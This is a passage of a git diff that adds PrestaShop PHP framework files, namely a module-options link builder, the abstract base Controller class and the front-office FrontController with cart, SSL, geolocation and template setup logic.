$link_admin_modules.'&module_name='.urlencode($module->name).'&reset&tab_module='.$module->tab, + 'onclick' => $module->onclick_option && isset($module->onclick_option_content['reset']) ? $module->onclick_option_content['reset'] : '', + 'title' => '', + 'text' => $this->translationsTab['Reset'], + 'cond' => $module->id && $module->active, + ), + 'delete-module' => array( + 'href' => $link_admin_modules.'&delete='.urlencode($module->name).'&tab_module='.$module->tab.'&module_name='.urlencode($module->name), + 'onclick' => $module->onclick_option && isset($module->onclick_option_content['delete']) ? $module->onclick_option_content['delete'] : 'return confirm(\''.$this->translationsTab['This action will permanently remove the module from the server. Are you sure you want to do this?'].'\');', + 'title' => '', + 'text' => $this->translationsTab['Delete'], + 'cond' => true, + ), + ); + + $return = ''; + foreach ($modules_options as $option_name => $option) + { + if ($option['cond']) + { + if ($output_type == 'link') + $return .= '<span class="'.$option_name.'"> + <a class="action_module" href="'.$option['href'].(!is_null($back) ? '&back='.urlencode($back) : '').'" onclick="'.$option['onclick'].'" title="'.$option['title'].'">'.$option['text'].'</a> + </span>'; + elseif ($output_type == 'select') + $return .= '<option id="'.$option_name.'" data-href="'.$option['href'].(!is_null($back) ? '&back='.urlencode($back) : '').'" data-onclick="'.$option['onclick'].'">'.$option['text'].'</option>'; + } + } + if ($output_type == 'select') + { + if (!$module->id) + $return = '<option data-onclick="" data-href="'.$link_admin_modules.'&install='.urlencode($module->name).'&tab_module='.$module->tab.'&module_name='.$module->name.'&anchor=anchor'.ucfirst($module->name).(!is_null($back) ? '&back='.urlencode($back) : '').'" >'.$this->translationsTab['Install'].'</option>'.$return; + else + $return .= '<option data-onclick="" data-href="'.$link_admin_modules.'&uninstall='.urlencode($module->name).'&tab_module='.$module->tab.'&module_name='.$module->name.'&anchor=anchor'.ucfirst($module->name).(!is_null($back) ? '&back='.urlencode($back) : '').'" >'.$this->translationsTab['Uninstall'].'</option>'; + $return = '<select id="select_'.$module->name.'">'.$return.'</select>'; + } + + return $return; + } +} \ No newline at end of file diff --git a/classes/controller/Controller.php b/classes/controller/Controller.php new file mode 100755 index 0000000..27ebaf0 --- /dev/null +++ b/classes/controller/Controller.php @@ -0,0 +1,359 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +abstract class ControllerCore +{ + /** + * @var Context + */ + protected $context; + + /** + * @var array list of css files + */ + public $css_files = array(); + + /** + * @var array list of javascript files + */ + public $js_files = array(); + + /** + * @var bool check if header will be displayed + */ + protected $display_header; + + /** + * @var string template name for page content + */ + protected $template; + + /** + * @var string check if footer will be displayed + */ + protected $display_footer; + + /** + * @var string check if only content will be displayed + */ + protected $content_only = false; + + /** + * @var bool If ajax parameter is detected in request, set this flag to true + */ + public $ajax = false; + protected $json = false; + protected $status = ''; + + protected $redirect_after = null; + + public $controller_type; + + /** + * check that the controller is available for the current user/visitor + */ + abstract public function checkAccess(); + + /** + * check that the current user/visitor has valid view permissions + */ + abstract public function viewAccess(); + + /** + * Initialize the page + */ + public function init() + { + if (!defined('_PS_BASE_URL_')) + define('_PS_BASE_URL_', Tools::getShopDomain(true)); + if (!defined('_PS_BASE_URL_SSL_')) + define('_PS_BASE_URL_SSL_', Tools::getShopDomainSsl(true)); + } + + /** + * Do the page treatment : post process, ajax process, etc. + */ + abstract public function postProcess(); + + /** + * Display page view + */ + abstract public function display(); + + /** + * Redirect after process if no error + */ + abstract protected function redirect(); + + /** + * Set default media list for controller + */ + abstract public function setMedia(); + + /** + * Get an instance of a controller + * + * @param string $class_name + * @param bool $auth + * @param bool $ssl + */ + public static function getController($class_name, $auth = false, $ssl = false) + { + return new $class_name($auth, $ssl); + } + + public function __construct() + { + if (is_null($this->display_header)) + $this->display_header = true; + + if (is_null($this->display_footer)) + $this->display_footer = true; + + $this->context = Context::getContext(); + $this->context->controller = $this; + // Usage of ajax parameter is deprecated + $this->ajax = Tools::getValue('ajax') || Tools::isSubmit('ajax'); + } + + /** + * Start controller process (this method shouldn't be overriden !) + */ + public function run() + { + $this->init(); + if ($this->checkAccess()) + { + // setMedia MUST be called before postProcess + if (!$this->content_only && ($this->display_header || (isset($this->className) && $this->className))) + $this->setMedia(); + + // postProcess handles ajaxProcess + $this->postProcess(); + + if (!empty($this->redirect_after)) + $this->redirect(); + + if (!$this->content_only && ($this->display_header || (isset($this->className) && $this->className))) + $this->initHeader(); + + if ($this->viewAccess()) + $this->initContent(); + else + $this->errors[] = Tools::displayError('Access denied.'); + + if (!$this->content_only && ($this->display_footer || (isset($this->className) && $this->className))) + $this->initFooter(); + + // default behavior for ajax process is to use $_POST[action] or $_GET[action] + // then using displayAjax[action] + if ($this->ajax) + { + $action = Tools::getValue('action'); + if (!empty($action) && method_exists($this, 'displayAjax'.Tools::toCamelCase($action, true))) + $this->{'displayAjax'.$action}(); + elseif (method_exists($this, 'displayAjax')) + $this->displayAjax(); + } + else + $this->display(); + } + else + { + $this->initCursedPage(); + $this->smartyOutputContent($this->layout); + } + } + + public function displayHeader($display = true) + { + $this->display_header = $display; + } + + public function displayFooter($display = true) + { + $this->display_footer = $display; + } + + public function setTemplate($template) + { + $this->template = $template; + } + + /** + * Assign smarty variables for the page header + */ + abstract public function initHeader(); + + /** + * Assign smarty variables for the page main content + */ + abstract public function initContent(); + + /** + * Assign smarty variables when access is forbidden + */ + abstract public function initCursedPage(); + + /** + * Assign smarty variables for the page footer + */ + abstract public function initFooter(); + + /** + * Add a new stylesheet in page header. + * + * @param mixed $css_uri Path to css file, or list of css files like this : array(array(uri => media_type), ...) + * @param string $css_media_type + * @return true + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + if (is_array($css_uri)) + foreach ($css_uri as $css_file => $media) + { + if (is_string($css_file) && strlen($css_file) > 1) + { + $css_path = Media::getCSSPath($css_file, $media); + if ($css_path && !in_array($css_path, $this->css_files)) + $this->css_files = array_merge($this->css_files, $css_path); + } + else + { + $css_path = Media::getCSSPath($media, $css_media_type); + if ($css_path && !in_array($css_path, $this->css_files)) + $this->css_files = array_merge($this->css_files, $css_path); + } + } + else if (is_string($css_uri) && strlen($css_uri) > 1) + { + $css_path = Media::getCSSPath($css_uri, $css_media_type); + if ($css_path) + $this->css_files = array_merge($this->css_files, $css_path); + } + } + + /** + * Add a new javascript file in page header. + * + * @param mixed $js_uri + * @return void + */ + public function addJS($js_uri) + { + if (is_array($js_uri)) + foreach ($js_uri as $js_file) + { + $js_path = Media::getJSPath($js_file); + if ($js_path && !in_array($js_path, $this->js_files)) + $this->js_files[] = $js_path; + } + else + { + $js_path = Media::getJSPath($js_uri); + if ($js_path) + $this->js_files[] = $js_path; + } + } + + /** + * Add a new javascript file in page header. + * + * @param mixed $js_uri + * @return void + */ + public function addJquery($version = null, $folder = null, $minifier = true) + { + $this->addJS(Media::getJqueryPath($version, $folder, $minifier)); + } + + /** + * Add a new javascript file in page header. + * + * @param mixed $js_uri + * @return void + */ + public function addJqueryUI($component, $theme = 'base', $check_dependencies = true) + { + $ui_path = array(); + if (!is_array($component)) + $component = array($component); + + foreach ($component as $ui) + { + $ui_path = Media::getJqueryUIPath($ui, $theme, $check_dependencies); + $this->addCSS($ui_path['css']); + $this->addJS($ui_path['js']); + } + } + + /** + * Add a new javascript file in page header. + * + * @param mixed $js_uri + * @return void + */ + public function addJqueryPlugin($name, $folder = null) + { + $plugin_path = array(); + if (is_array($name)) + { + foreach ($name as $plugin) + { + $plugin_path = Media::getJqueryPluginPath($plugin, $folder); + if(!empty($plugin_path['js'])) + $this->addJS($plugin_path['js']); + if(!empty($plugin_path['css'])) + $this->addCSS($plugin_path['css']); + } + } + else + $plugin_path = Media::getJqueryPluginPath($name, $folder); + + if(!empty($plugin_path['css'])) + $this->addCSS($plugin_path['css']); + if(!empty($plugin_path['js'])) + $this->addJS($plugin_path['js']); + } + + /** + * @since 1.5 + * @return bool return true if Controller is called from XmlHttpRequest + */ + public function isXmlHttpRequest() + { + return (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'); + } + + protected function smartyOutputContent($content) + { + $this->context->cookie->write(); + $this->context->smarty->display($content); + } +} diff --git a/classes/controller/FrontController.php b/classes/controller/FrontController.php new file mode 100755 index 0000000..4a001d4 --- /dev/null +++ b/classes/controller/FrontController.php @@ -0,0 +1,1144 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class FrontControllerCore extends Controller +{ + public $errors = array(); + + /** + * @deprecated Deprecated shortcuts as of 1.5 - Use $context->var instead + */ + protected static $smarty, $cookie, $link, $cart; + + public $iso; + + public $orderBy; + public $orderWay; + public $p; + public $n; + + public $auth = false; + public $guestAllowed = false; + public $authRedirection = false; + public $ssl = false; + + protected $restrictedCountry = false; + protected $maintenance = false; + + public $display_column_left = true; + public $display_column_right = true; + + public static $initialized = false; + + protected static $currentCustomerGroups; + + public $nb_items_per_page; + + public function __construct() + { + $this->controller_type = 'front'; + + global $useSSL; + + parent::__construct(); + + if (isset($useSSL)) + $this->ssl = $useSSL; + else + $useSSL = $this->ssl; + } + + /** + * @see Controller::checkAccess() + * + * @return boolean + */ + public function checkAccess() + { + return true; + } + + /** + * @see Controller::viewAccess + * + * @return boolean + */ + public function viewAccess() + { + return true; + } + + public function init() + { + /* + * Globals are DEPRECATED as of version 1.5. + * Use the Context to access objects instead. + * Example: $this->context->cart + */ + global $useSSL, $cookie, $smarty, $cart, $iso, $defaultCountry, $protocol_link, $protocol_content, $link, $css_files, $js_files, $currency; + + if (self::$initialized) + return; + self::$initialized = true; + + parent::init(); + + // If current URL use SSL, set it true (used a lot for module redirect) + if (Tools::usingSecureMode()) + $useSSL = $this->ssl = true; + + // For compatibility with globals, DEPRECATED as of version 1.5 + $css_files = $this->css_files; + $js_files = $this->js_files; + + if ($this->ssl && !Tools::usingSecureMode() && Configuration::get('PS_SSL_ENABLED')) + { + header('HTTP/1.1 301 Moved Permanently'); + header('Cache-Control: no-cache'); + header('Location: '.Tools::getShopDomainSsl(true).$_SERVER['REQUEST_URI']); + exit(); + } + elseif (Configuration::get('PS_SSL_ENABLED') && Tools::usingSecureMode() && !($this->ssl)) + { + header('HTTP/1.1 301 Moved Permanently'); + header('Cache-Control: no-cache'); + header('Location: '.Tools::getShopDomain(true).$_SERVER['REQUEST_URI']); + exit(); + } + + if ($this->ajax) + { + $this->display_header = false; + $this->display_footer = false; + } + + // if account created with the 2 steps register process, remove 'accoun_created' from cookie + if (isset($this->context->cookie->account_created)) + { + $this->context->smarty->assign('account_created', 1); + unset($this->context->cookie->account_created); + } + + ob_start(); + + // Init cookie language + // @TODO This method must be moved into switchLanguage + Tools::setCookieLanguage($this->context->cookie); + + $currency = Tools::setCurrency($this->context->cookie); + + $protocol_link = (Configuration::get('PS_SSL_ENABLED') || Tools::usingSecureMode()) ? 'https://' : 'http://'; + $useSSL = ((isset($this->ssl) && $this->ssl && Configuration::get('PS_SSL_ENABLED')) || Tools::usingSecureMode()) ? true : false; + $protocol_content = ($useSSL) ? 'https://' : 'http://'; + $link = new Link($protocol_link, $protocol_content); + $this->context->link = $link; + + if ($id_cart = (int)$this->recoverCart()) + $this->context->cookie->id_cart = (int)$id_cart; + + if ($this->auth && !$this->context->customer->isLogged($this->guestAllowed)) + Tools::redirect('index.php?controller=authentication'.($this->authRedirection ? '&back='.$this->authRedirection : '')); + + /* Theme is missing */ + if (!is_dir(_PS_THEME_DIR_)) + die(sprintf(Tools::displayError('Current theme unavailable "%s". Please check your theme directory name and permissions.'), basename(rtrim(_PS_THEME_DIR_, '/\\')))); + + if (Configuration::get('PS_GEOLOCATION_ENABLED')) + if (($newDefault = $this->geolocationManagement($this->context->country)) && Validate::isLoadedObject($newDefault)) + $this->context->country = $newDefault; + + if (isset($_GET['logout']) || ($this->context->customer->logged && Customer::isBanned($this->context->customer->id))) + { + $this->context->customer->logout(); + + Tools::redirect(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null); + } + elseif (isset($_GET['mylogout'])) + { + $this->context->customer->mylogout(); + Tools::redirect(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null); + } + + /* Cart already exists */ + if ((int)$this->context->cookie->id_cart) + { + $cart = new Cart($this->context->cookie->id_cart); + if ($cart->OrderExists()) + { + unset($this->context->cookie->id_cart, $cart, $this->context->cookie->checkedTOS); + $this->context->cookie->check_cgv = false; + } + /* Delete product of cart, if user can't make an order from his country */ + elseif (intval(Configuration::get('PS_GEOLOCATION_ENABLED')) && + !in_array(strtoupper($this->context->cookie->iso_code_country), explode(';', Configuration::get('PS_ALLOWED_COUNTRIES'))) && + $cart->nbProducts() && intval(Configuration::get('PS_GEOLOCATION_NA_BEHAVIOR')) != -1 && + !FrontController::isInWhitelistForGeolocation() && + !in_array($_SERVER['SERVER_NAME'], array('localhost', '127.0.0.1'))) + unset($this->context->cookie->id_cart, $cart); + // update cart values + elseif ($this->context->cookie->id_customer != $cart->id_customer || $this->context->cookie->id_lang != $cart->id_lang || $currency->id != $cart->id_currency) + { + if ($this->context->cookie->id_customer) + $cart->id_customer = (int)($this->context->cookie->id_customer); + $cart->id_lang = (int)($this->context->cookie->id_lang); + $cart->id_currency = (int)$currency->id; + $cart->update(); + } + /* Select an address if not set */ + if (isset($cart) && (!isset($cart->id_address_delivery) || $cart->id_address_delivery == 0 || + !isset($cart->id_address_invoice) || $cart->id_address_invoice == 0) && $this->context->cookie->id_customer) + { + $to_update = false; + if (!isset($cart->id_address_delivery) || $cart->id_address_delivery == 0) + { + $to_update = true; + $cart->id_address_delivery = (int)Address::getFirstCustomerAddressId($cart->id_customer); + } + if (!isset($cart->id_address_invoice) || $cart->id_address_invoice == 0) + { + $to_update = true; + $cart->id_address_invoice = (int)Address::getFirstCustomerAddressId($cart->id_customer); + } + if ($to_update) + $cart->update(); + } + } + + if (!isset($cart) || !$cart->id) + { + $cart = new Cart(); + $cart->id_lang = (int)($this->context->cookie->id_lang); + $cart->id_currency = (int)($this->context->cookie->id_currency); + $cart->id_guest = (int)($this->context->cookie->id_guest); + $cart->id_shop_group = (int)$this->context->shop->id_shop_group; + $cart->id_shop = $this->context->shop->id; + if ($this->context->cookie->id_customer) + { + $cart->id_customer = (int)($this->context->cookie->id_customer); + $cart->id_address_delivery = (int)(Address::getFirstCustomerAddressId($cart->id_customer)); + $cart->id_address_invoice = $cart->id_address_delivery; + } + else + { + $cart->id_address_delivery = 0; + $cart->id_address_invoice = 0; + } + + // Needed if the merchant want to give a free product to every visitors + $this->context->cart = $cart; + CartRule::autoAddToCart($this->context); + } + + /* get page name to display it in body id */ + + // Are we in a payment module + $module_name = ''; + if (Validate::isModuleName(Tools::getValue('module'))) + $module_name = Tools::getValue('module'); + + if (!empty($this->page_name)) + $page_name = $this->page_name; + elseif (!empty($this->php_self)) + $page_name = $this->php_self; + elseif (Tools::getValue('fc') == 'module' && $module_name != '' && (Module::getInstanceByName($module_name) instanceof PaymentModule)) + $page_name = 'module-payment-submit'; + // @retrocompatibility Are we in a module ? + elseif (preg_match('#^'.preg_quote($this->context->shop->physical_uri, '#').'modules/([a-zA-Z0-9_-]+?)/(.*)$#', $_SERVER['REQUEST_URI'], $m)) + $page_name = 'module-'.$m[1].'-'.str_replace(array('.php', '/'), array('', '-'), $m[2]); + else + { + $page_name = Dispatcher::getInstance()->getController(); + $page_name = (preg_match('/^[0-9]/', $page_name)) ? 'page_'.$page_name : $page_name; + } + + $this->context->smarty->assign(Meta::getMetaTags($this->context->language->id, $page_name)); + $this->context->smarty->assign('request_uri', Tools::safeOutput(urldecode($_SERVER['REQUEST_URI']))); + + /* Breadcrumb */ + $navigationPipe = (Configuration::get('PS_NAVIGATION_PIPE') ? Configuration::get('PS_NAVIGATION_PIPE') : '>'); + $this->context->smarty->assign('navigationPipe', $navigationPipe); + + // Automatically redirect to the canonical URL if needed + if (!empty($this->php_self) && !Tools::getValue('ajax')) + $this->canonicalRedirection($this->context->link->getPageLink($this->php_self, $this->ssl, $this->context->language->id)); + + Product::initPricesComputation(); + + $display_tax_label = $this->context->country->display_tax_label; + if (isset($cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}) && $cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}) + { + $infos = Address::getCountryAndState((int)($cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')})); + $country = new Country((int)$infos['id_country']); + $this->context->country = $country; + if (Validate::isLoadedObject($country)) + $display_tax_label = $country->display_tax_label; + } + + $languages = Language::getLanguages(true, $this->context->shop->id); + $meta_language = array(); + foreach ($languages as $lang) + $meta_language[] = $lang['iso_code']; + + $this->context->smarty->assign(array( + // Usefull for layout.tpl + 'mobile_device' => $this->context->getMobileDevice(), + 'link' => $link, + 'cart' => $cart, + 'currency' => $currency, + 'cookie' => $this->context->cookie, + 'page_name' => $page_name, + 'hide_left_column' => !$this->display_column_left, + 'hide_right_column' => !$this->display_column_right, + 'base_dir' => _PS_BASE_URL_.__PS_BASE_URI__, + 'base_dir_ssl' => $protocol_link.Tools::getShopDomainSsl().__PS_BASE_URI__, + 'content_dir' => $protocol_content.Tools::getHttpHost().__PS_BASE_URI__, + 'base_uri' => $protocol_content.Tools::getHttpHost().__PS_BASE_URI__.(!Configuration::get('PS_REWRITING_SETTINGS') ? 'index.php' : ''), + 'tpl_dir' => _PS_THEME_DIR_, + 'modules_dir' => _MODULE_DIR_, + 'mail_dir' => _MAIL_DIR_, + 'lang_iso' => $this->context->language->iso_code, + 'come_from' => Tools::getHttpHost(true, true).Tools::htmlentitiesUTF8(str_replace(array('\'', '\\'), '', urldecode($_SERVER['REQUEST_URI']))), + 'cart_qties' => (int)$cart->nbProducts(), + 'currencies' => Currency::getCurrencies(), + 'languages' => $languages, + 'meta_language' => implode('-', $meta_language), + 'priceDisplay' => Product::getTaxCalculationMethod(), + 'add_prod_display' => (int)Configuration::get('PS_ATTRIBUTE_CATEGORY_DISPLAY'), + 'shop_name' => Configuration::get('PS_SHOP_NAME'), + 'roundMode' => (int)Configuration::get('PS_PRICE_ROUND_MODE'), + 'use_taxes' => (int)Configuration::get('PS_TAX'), + 'show_taxes' => (int)(Configuration::get('PS_TAX_DISPLAY') == 1 && (int)Configuration::get('PS_TAX')), + 'display_tax_label' => (bool)$display_tax_label, + 'vat_management' => (int)Configuration::get('VATNUMBER_MANAGEMENT'), + 'opc' => (bool)Configuration::get('PS_ORDER_PROCESS_TYPE'), + 'PS_CATALOG_MODE' => (bool)Configuration::get('PS_CATALOG_MODE') || !(bool)Group::getCurrent()->show_prices, + 'b2b_enable' => (bool)Configuration::get('PS_B2B_ENABLE'), + 'request' => $link->getPaginationLink(false, false, false, true) + )); + + // Add the tpl files directory for mobile + if ($this->context->getMobileDevice() != false) + $this->context->smarty->assign(array( + 'tpl_mobile_uri' => _PS_THEME_MOBILE_DIR_, + )); + + // Deprecated + $this->context->smarty->assign(array( + 'id_currency_cookie' => (int)$currency->id, + 'logged' => $this->context->customer->isLogged(), + 'customerName' => ($this->context->customer->logged ? $this->context->cookie->customer_firstname.' '.$this->context->cookie->customer_lastname : false) + )); + + $assign_array = array( + 'img_ps_dir' => _PS_IMG_, + 'img_cat_dir' => _THEME_CAT_DIR_, + 'img_lang_dir' => _THEME_LANG_DIR_, + 'img_prod_dir' => _THEME_PROD_DIR_, + 'img_manu_dir' => _THEME_MANU_DIR_, + 'img_sup_dir' => _THEME_SUP_DIR_, + 'img_ship_dir' => _THEME_SHIP_DIR_, + 'img_store_dir' => _THEME_STORE_DIR_, + 'img_col_dir' => _THEME_COL_DIR_, + 'img_dir' => _THEME_IMG_DIR_, + 'css_dir' => _THEME_CSS_DIR_, + 'js_dir' => _THEME_JS_DIR_, + 'pic_dir' => _THEME_PROD_PIC_DIR_ + ); + + // Add the images directory for mobile + if ($this->context->getMobileDevice() != false) + $assign_array['img_mobile_dir'] = _THEME_MOBILE_IMG_DIR_; + + // Add the CSS directory for mobile + if ($this->context->getMobileDevice() != false) + $assign_array['css_mobile_dir'] = _THEME_MOBILE_CSS_DIR_; + + foreach ($assign_array as $assign_key => $assign_value) + if (substr($assign_value, 0, 1) == '/' || $protocol_content == 'https://') + $this->context->smarty->assign($assign_key, $protocol_content.Tools::getMediaServer($assign_value).$assign_value); + else + $this->context->smarty->assign($assign_key, $assign_value); + + /* + * These shortcuts are DEPRECATED as of version 1.5. + * Use the Context to access objects instead. + * Example: $this->context->cart + */ + self::$cookie = $this->context->cookie; + self::$cart = $cart; + self::$smarty = $this->context->smarty; + self::$link = $link; + $defaultCountry = $this->context->country; + + $this->displayMaintenancePage(); + if ($this->restrictedCountry) + $this->displayRestrictedCountryPage(); + + if (Tools::isSubmit('live_edit') && !$this->checkLiveEditAccess()) + Tools::redirect('index.php?controller=404'); + + $this->iso = $iso; + + $this->context->cart = $cart; + $this->context->currency = $currency; + } + + public function postProcess() + { + } + + public function initContent() + { + $this->process(); + if (!isset($this->context->cart)) + $this->context->cart = new Cart(); + if ($this->context->getMobileDevice() == false) + { + // These hooks aren't used for the mobile theme. + // Needed hooks are called in the tpl files. + if (!isset($this->context->cart)) + $this->context->cart = new Cart(); + $this->context->smarty->assign(array( + 'HOOK_HEADER' => Hook::exec('displayHeader'), + 'HOOK_TOP' => Hook::exec('displayTop'), + 'HOOK_LEFT_COLUMN' => ($this->display_column_left ? Hook::exec('displayLeftColumn') : ''), + 'HOOK_RIGHT_COLUMN' => ($this->display_column_right ? Hook::exec('displayRightColumn', array('cart' => $this->context->cart)) : ''), + )); + } + else + { + $this->context->smarty->assign(array( + 'HOOK_MOBILE_HEADER' => Hook::exec('displayMobileHeader'), + )); + } + } + + /** + * @deprecated 1.5.0 + */ + public function displayHeader($display = true) + { + // This method will be removed in 1.6 + Tools::displayAsDeprecated(); + $this->initHeader(); + $hook_header = Hook::exec('displayHeader'); + if ((Configuration::get('PS_CSS_THEME_CACHE') || Configuration::get('PS_JS_THEME_CACHE')) && is_writable(_PS_THEME_DIR_.'cache')) + { + // CSS compressor management + if (Configuration::get('PS_CSS_THEME_CACHE')) + $this->css_files = Media::cccCSS($this->css_files); + //JS compressor management + if (Configuration::get('PS_JS_THEME_CACHE')) + $this->js_files = Media::cccJs($this->js_files); + } + + // Call hook before assign of css_files and js_files in order to include correctly all css and javascript files + $this->context->smarty->assign(array( + 'HOOK_HEADER' => $hook_header, + 'HOOK_TOP' => Hook::exec('displayTop'), + 'HOOK_LEFT_COLUMN' => ($this->display_column_left ? Hook::exec('displayLeftColumn') : ''), + 'HOOK_RIGHT_COLUMN' => ($this->display_column_right ? Hook::exec('displayRightColumn', array('cart' => $this->context->cart)) : ''), + 'HOOK_FOOTER' => Hook::exec('displayFooter') + )); + + $this->context->smarty->assign('css_files', $this->css_files); + $this->context->smarty->assign('js_files', array_unique($this->js_files)); + + $this->display_header = $display; + $this->smartyOutputContent(_PS_THEME_DIR_.'header.tpl'); + + } + + /** + * @deprecated 1.5.0 + */ + public function displayFooter($display = true) + { + // This method will be removed in 1.6 + Tools::displayAsDeprecated(); + $this->smartyOutputContent(_PS_THEME_DIR_.'footer.tpl'); + } + + public function initCursedPage() + { + return $this->displayMaintenancePage(); + } + + public function process() + { + } + + public function redirect() + { + Tools::redirectLink($this->redirect_after); + } + + /** + * 1.4 retrocompatibility - will be removed in 1.6 + */ + public function displayContent() + { + } + + public function display() + { + Tools::safePostVars(); + + // assign css_files and js_files at the very last time + if ((Configuration::get('PS_CSS_THEME_CACHE') || Configuration::get('PS_JS_THEME_CACHE')) && is_writable(_PS_THEME_DIR_.'cache')) + { + // CSS compressor management + if (Configuration::get('PS_CSS_THEME_CACHE')) + $this->css_files = Media::cccCSS($this->css_files); + //JS compressor management + if (Configuration::get('PS_JS_THEME_CACHE')) + $this->js_files = Media::cccJs($this->js_files); + } + + $this->context->smarty->assign('css_files', $this->css_files); + $this->context->smarty->assign('js_files', array_unique($this->js_files)); + $this->context->smarty->assign(array( + 'errors' => $this->errors, + 'display_header' => $this->display_header, + 'display_footer' => $this->display_footer, + )); + + $live_edit_content = ''; + // Don't use live edit if on mobile device + if (!$this->context->getMobileDevice() && $this->checkLiveEditAccess()) + $live_edit_content = $this->getLiveEditFooter(); + + $layout = $this->getLayout(); + if ($layout) + { + if ($this->template) + $this->context->smarty->assign('template', $this->context->smarty->fetch($this->template).$live_edit_content); + else // For retrocompatibility with 1.4 controller + { + ob_start(); + $this->displayContent(); + $template = ob_get_contents(); + ob_clean(); + $this->context->smarty->assign('template', $template.$live_edit_content); + } + $this->smartyOutputContent($layout); + } + else + { + // BEGIN - 1.4 retrocompatibility - will be removed in 1.6 + Tools::displayAsDeprecated('layout.tpl is missing in your theme directory'); + if ($this->display_header) + $this->smartyOutputContent(_PS_THEME_DIR_.'header.tpl'); + + if ($this->template) + $this->smartyOutputContent($this->template); + else // For retrocompatibility with 1.4 controller + $this->displayContent(); + + if ($this->display_footer) + $this->smartyOutputContent(_PS_THEME_DIR_.'footer.tpl'); + // END - 1.4 retrocompatibility - will be removed in 1.6 + } + + return true; + } + + /* Display a maintenance page if shop is closed */ + protected function displayMaintenancePage() + { + if ($this->maintenance == true || !(int)Configuration::get('PS_SHOP_ENABLE')) + { + $this->maintenance = true; + if (!in_array(Tools::getRemoteAddr(), explode(',', Configuration::get('PS_MAINTENANCE_IP')))) + { + header('HTTP/1.1 503 temporarily overloaded'); + + $this->context->smarty->assign($this->initLogoAndFavicon()); + + $template_dir = ($this->context->getMobileDevice() == true ? _PS_THEME_MOBILE_DIR_ : _PS_THEME_DIR_); + $this->smartyOutputContent($template_dir.'maintenance.tpl'); + exit; + } + } + } + + /* Display a specific page if the user country is not allowed */ + protected function displayRestrictedCountryPage() + { + header('HTTP/1.1 503 temporarily overloaded'); + $this->context->smarty->assign('favicon_url', _PS_IMG_.Configuration::get('PS_FAVICON')); + $this->smartyOutputContent(_PS_THEME_DIR_.'restricted-country.tpl'); + exit; + } + + protected function canonicalRedirection($canonical_url = '') + { + if (!$canonical_url || !Configuration::get('PS_CANONICAL_REDIRECT') || strtoupper($_SERVER['REQUEST_METHOD']) != 'GET') + return; + + $match_url = (($this->ssl && Configuration::get('PS_SSL_ENABLED')) ? 'https://' : 'http://').$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; + $match_url = rawurldecode($match_url); + if (!preg_match('/^'.Tools::pRegexp(rawurldecode($canonical_url), '/').'([&?].*)?$/', $match_url)) + { + $params = array(); + $str_params = ''; + $url_details = parse_url($canonical_url); + + if (!empty($url_details['query'])) + { + parse_str($url_details['query'], $query); + foreach ($query as $key => $value) + $params[Tools::safeOutput($key)] = Tools::safeOutput($value); + } + $excluded_key = array('isolang', 'id_lang', 'controller', 'fc', 'id_product', 'id_category', 'id_manufacturer', 'id_supplier', 'id_cms'); + foreach ($_GET as $key => $value) + if (!in_array($key, $excluded_key) && Validate::isUrl($key) && Validate::isUrl($value)) + $params[Tools::safeOutput($key)] = Tools::safeOutput($value); + + $str_params = http_build_query($params, '', '&'); + if (!empty($str_params)) + $final_url = preg_replace('/^([^?]*)?.*$/', '$1', $canonical_url).'?'.$str_params; + else + $final_url = preg_replace('/^([^?]*)?.*$/', '$1', $canonical_url); + + // Don't send any cookie + Context::getContext()->cookie->disallowWriting(); + + if (defined('_PS_MODE_DEV_') && _PS_MODE_DEV_ && $_SERVER['REQUEST_URI'] != __PS_BASE_URI__) + die('[Debug] This page has moved<br />Please use the following URL instead: <a href="'.$final_url.'">'.$final_url.'</a>'); + + header('HTTP/1.0 301 Moved'); + header('Cache-Control: no-cache'); + Tools::redirectLink($final_url); + } + } + + protected function geolocationManagement($default_country) + { + if (!in_array($_SERVER['SERVER_NAME'], array('localhost', '127.0.0.1'))) + { + /* Check if Maxmind Database exists */ + if (file_exists(_PS_GEOIP_DIR_.'GeoLiteCity.dat')) + { + if (!isset($this->context->cookie->iso_code_country) || (isset($this->context->cookie->iso_code_country) && !in_array(strtoupper($this->context->cookie->iso_code_country), explode(';', Configuration::get('PS_ALLOWED_COUNTRIES'))))) + { + include_once(_PS_GEOIP_DIR_.'geoipcity.inc'); + + $gi = geoip_open(realpath(_PS_GEOIP_DIR_.'GeoLiteCity.dat'), GEOIP_STANDARD); + $record = geoip_record_by_addr($gi, Tools::getRemoteAddr()); + + if (is_object($record)) + { + if 